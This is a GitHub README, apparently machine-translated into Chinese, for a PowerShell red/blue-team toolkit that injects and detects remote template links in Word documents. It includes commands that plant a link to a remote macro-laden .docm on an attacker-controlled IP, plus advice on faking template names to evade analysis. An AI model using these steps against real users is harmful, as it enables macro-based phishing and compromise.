nickvourd/RTI-Toolkit

GitHub: nickvourd/RTI-Toolkit

一款用于在 Office Word 文档中实施与检测远程模板注入的开源 PowerShell 安全工具包,兼顾红队攻击与蓝队防御两种场景。

Stars: 50 | Forks: 9

# RTI-Toolkit 远程模板注入工具包

## 描述 RTI-Toolkit 是一款用于远程模板注入攻击的开源 PowerShell 工具包。该工具包包含一个名为 `PS-Templator.ps1` 的 PowerShell 脚本,可从攻击和防御两个视角使用。 下表展示了 `PS-Templator.ps1` 的主要模块 (cmdlet): | Cmdlet | 描述 | 视角 | | -------|:-----------:|:-----------:| | [Invoke-Template](#invoke-template) | 在默认的 Office Word 模板中实现远程模板链接 | 攻击 | | [Invoke-Regular](#invoke-regular) | 在没有模板的常规 Office Word 文档中实现远程模板链接 | 攻击 | | [Invoke-Identify](#invoke-identify) | 识别带/不带模板的 Office Word docx 文档中的远程模板链接 | 防御 | ⚠️ `PS-Templator.ps1` 仅支持 DOCX 文件。 ℹ️ 该工具被美国国家标准与技术研究院 (NIST) 国家漏洞数据库 (NVD) 在 [CVE-2025-65318](https://nvd.nist.gov/vuln/detail/CVE-2025-65318) 和 [CVE-2025-65319](https://nvd.nist.gov/vuln/detail/CVE-2025-65319) 中引用。 ## 版本 ### 1.0.0 ## 许可证 该工具基于 [![License: MIT](https://img.shields.io/badge/MIT-License-yellow.svg)](LICENSE) 授权。 ## 致谢 特别感谢我的朋友 [@Papadope9](https://twitter.com/Papadope9) 和 [Stavros Gkounis (a.k.a purpl3ph03n1x)](https://www.linkedin.com/in/stavros-gkounis-603026a6/),他们在该工具的 Beta 测试阶段提供了宝贵的协助。 该工具的灵感来自几年前与 [@S1ckB0y1337](https://twitter.com/S1ckB0y1337) 一起进行的 iCAST 红蓝对抗评估。 Supernova 由 [@nickvourd](https://twitter.com/nickvourd) 用 ❤️ 打造。 ## 目录 - [RTI-Toolkit](#rti-toolkit) - [描述](#description) - [版本](#version) - [许可证](#license) - [致谢](#acknowledgement) - [目录](#table-of-contents) - [远程模板注入 (RTI)](#remote-template-injection-rti) - [安装](#installation) - [Cmdlets](#cmdlets) - [Invoke-Template](#invoke-template) - [Invoke-Template 示例](#invoke-template-example) - [Invoke-Regular](#invoke-regular) - [Invoke-Regular 示例](#invoke-regular-example) - [Invoke-Regular 示例 2](#invoke-regular-example-2) - [Invoke-Identify](#invoke-identify) - [Invoke-Identify 示例](#invoke-identify-example) - [Invoke-Identify 示例 2](#invoke-identify-example-2) - [参考](#references) ## 远程模板注入 (RTI) 在 Microsoft Office 的语境中,远程模板注入 (RTI) 是指一种可以通过 Office 文档(例如 Word、Excel、PowerPoint)中的恶意模板加以利用的特定类型安全漏洞。 例如,在 DOCX 文件中,内容以 XML 格式存储在压缩包中,其中一些 XML 文件可能会引用外部资源或模板。攻击者确实可以篡改这些 XML 文件,插入恶意链接或内容,从而可能利用漏洞或欺骗用户。 这是一种基于宏的攻击。 ## 安装 要将 `PS-Templator.ps1` 作为模块加载到内存中,请运行以下命令: ``` Import-Module .\PS-Templator.ps1 ``` :information_source: `PS-Templator.ps1` 无需安装任何额外的依赖项即可运行。

:information_source: `PS-Templator.ps1` 作为 PowerShell 模块运行。

:information_source: `PS-Templator.ps1` 已在装有 Office 2019 Professional plus 的 Windows 10 计算机上测试通过。 ## Cmdlets ### Invoke-Template `Invoke-Template` 是一个在默认 Office Word 模板中实现远程模板链接的 cmdlet。 #### Invoke-Template 示例 假设您有一个默认的 Word 模板,类似这样: ![所有 Word 模板](/Pictures/All-Word-Templates.png) 例如另存为 'Name.docx': ![默认 Word 模板文档](/Pictures/Default-Word-Template.png) 如果您使用 `Invoke-Template` cmdlet,您可以在此 docx 中插入恶意链接: ⚠️ 在运行 `Invoke-Template` 之前,请确保保存文档并将其关闭(终止其进程)。 ``` Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx ``` 结果: ![Invoke-Template-1](/Pictures/Invoke-Template-1.png) 如您所见,Invoke-Template 模块会保留原始文档的备份,并提供恶意文档的完整路径。 从调试的角度来看,如果您将恶意 docx 转换为 zip 压缩包并进入 /word/_rels/settings.xml.rels,您可以看到恶意链接: ![Invoke-Template-Debug](/Pictures/Invoke-Template-Debug.png) ### Invoke-Regular `Invoke-Regular` 是一个在没有模板的默认 Office Word 文档中实现远程模板链接的 cmdlet。 #### Invoke-Regular 示例 假设您有一个没有模板的默认 Word 文档,如下所示: ![空白文档](/Pictures/Blank-Document.png) 例如另存为 'Doc1.docx': ![Word 文档](/Pictures/Word-Document.png) 如果您使用 `Invoke-Regular` cmdlet,您可以在此 docx 中插入恶意链接: ⚠️ 在运行 `Invoke-Regular` 之前,请确保保存文档并将其关闭(终止其进程)。 ``` Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx ``` 结果: ![Invoke-Regular-1](/Pictures/Invoke-Regular-1.png) 如您所见,Invoke-Regular 模块会保留原始文档的备份,并提供恶意文档的完整路径。 从调试的角度来看,如果您将恶意 docx 转换为 zip 压缩包并进入 /word/_rels/settings.xml.rels,您可以看到恶意链接: ![Invoke-Regular-Debug-1](/Pictures/Invoke-Regular-Debug-1.png) #### Invoke-Regular 示例 2 从 OPSEC 的角度来看,您可以将 `-TemplateName` 与 `Invoke-Regular` 模块结合使用。如果有人试图分析它,这将使您的恶意文档看起来更合法。 这是一个示例: ``` Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx ``` 结果: ![Invoke-Regular-Example-2](/Pictures/Invoke-Regular-Example2.png) 从调试的角度来看,如果您将恶意 docx 转换为 zip 压缩包并进入 /docProps/app.xml,您可以看到伪造的模板名称: ![Invoke-Regular-Fake-Template-Name](/Pictures/Invoke-Regular-Fake-Template-Name.png) ### Invoke-Identify `Invoke-identify` 是一个识别带/不带模板的 Office Word docx 文档中远程模板链接的 cmdlet。 #### Invoke-Identify 示例 假设您有一个恶意的 Word 文档: ``` Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt ``` 结果: ![Invoke-Identify 恶意示例](/Pictures/Invoke-Identify-Malicious-Example.png) #### Invoke-Identify 示例 2 假设您有一个非恶意的 Word 文档: ``` Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt ``` 结果: ![Invoke-Identify 干净示例](/Pictures/Invoke-Identify-Clean-Example.png) ## 参考 - [ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) - [dmcxblue.gitbook.io](https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1221-template-injection) - [john-woodman.com](https://john-woodman.com/research/vba-macro-remote-template-injection/) - [John Woodman 的 remoteInjector GitHub](https://github.com/JohnWoodman/remoteInjector) - [Outflanknl 的 Invoke-Templator GitHub](https://github.com/outflanknl/Invoke-Templator) - [attack.mitre.org](https://attack.mitre.org/techniques/T1221/) - [Inf0secRabbit 的 BadAssMacros GitHub](https://github.com/Inf0secRabbit/BadAssMacros)
标签:AI合规, Libemu